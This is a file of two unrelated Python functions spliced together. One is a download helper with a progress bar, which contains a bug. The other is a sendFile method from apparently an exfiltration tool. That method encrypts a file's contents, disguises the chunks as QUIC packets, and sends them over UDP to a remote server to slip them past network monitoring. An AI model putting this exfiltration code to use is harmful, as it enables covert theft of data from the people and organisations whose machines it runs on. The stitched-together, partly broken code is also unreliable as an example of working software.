def download_file(url, dest=None, chunk_size=1024, replace="ask",
                  label="Downloading {dest_basename} ({size:.2f}MB)",
                  expected_extension=None):
    """Download a file from a given URL and display progress.

    :param dest: If the destination exists and is a directory, the filename
        will be guessed from the Content-Disposition header. If the destination
        is an existing file, the user will either be prompted to overwrite, or
        the file will be replaced (depending on the value of **replace**). If
        the destination does not exist, it will be used as the filename.
    :param int chunk_size: bytes read in at a time.
    :param replace: If `False`, an existing destination file will not be
        overwritten.
    :param label: a string which is formatted and displayed as the progress bar
        label. Variables provided include *dest_basename*, *dest*, and *size*.
    :param expected_extension: if set, the filename will be sanitized to ensure
        it has the given extension. The extension should not start with a dot
        (`.`).
    """
    dest = Path(dest or url.split("/")[-1])
    response = get(url, stream=True)
    if (dest.exists()
            and dest.is_dir()
            and "Content-Disposition" in response.headers):
        content_disposition = rfc6266.parse_requests_response(response)
        if expected_extension is not None:
            filename = content_disposition.filename_sanitized(
                expected_extension)
        filename = secure_filename(filename)
        dest = dest / filename
    if dest.exists() and not dest.is_dir():
        if (replace is False
                or replace == "ask"
                and not click.confirm("Replace {}?".format(dest))):
            return str(dest)
    size = int(response.headers.get("content-length", 0))
    label = label.format(dest=dest, dest_basename=dest.name,
                         size=size/1024.0/1024)
    with click.open_file(str(dest), "wb") as f:
        content_iter = response.iter_content(chunk_size=chunk_size)
        with click.progressbar(content_iter, length=size/1024,
                               label=label) as bar:
            for chunk in bar:
                if chunk:
                    f.write(chunk)
                    f.flush()
    return str(dest)
def sendFile(self, file_path):

        # Get File content
        data = self._getFileContent(file_path)
        if data == 1:
            return 1

        # Check that the file is not too big.
        if len(data) > (self.max_packets * self.max_size):
            sys.stderr.write("[!]\tFile is too big for export.\n")
            return 1

        # If the file is not too big, start exfiltration

        # Exfiltrate first packet
        md5_sum = md5(file_path)                                          # Get MD5 sum of file
        packets_count = (len(data) / self.max_size)+1                     # Total packets
        first_packet = self._getQUICHeader(count=0)                       # Get header for first file
        r_data = "%s;%s;%s" % (file_path, md5_sum, packets_count)         # First header
        r_data = self.AESDriver.encrypt(r_data)                           # Encrypt data
        self.sock.sendto(first_packet + r_data, self.serv_addr)           # Send the data
        sys.stdout.write("[+]\tSent initiation packet.\n")

        # encrypted_content = self.AESDriver.encrypt(data)

        # Encrypt the Chunks
        raw_dat = ""
        chunks = []
        while data:
            raw_dat += data[:self.max_size]
            enc_chunk = self.AESDriver.encrypt(data[:self.max_size])
            print len(enc_chunk)
            chunks.append(enc_chunk)
            data = data[self.max_size:]

        i = 1
        for chunk in chunks:
            this_data = self._getQUICHeader(count=i)
            this_data += chunk
            self.sock.sendto(this_data, self.serv_addr)
            time.sleep(self.delay)
            sys.stdout.write("[+]\tSent chunk %s/%s.\n" % (i, packets_count))
            i += 1

        sys.stdout.write("[+]\tFinished sending file '%s' to '%s:%s'.\n" % (file_path, self.host, self.port))
        # self.sequence = struct.pack('<' + 'L'*len(parts), *parts)

        return 0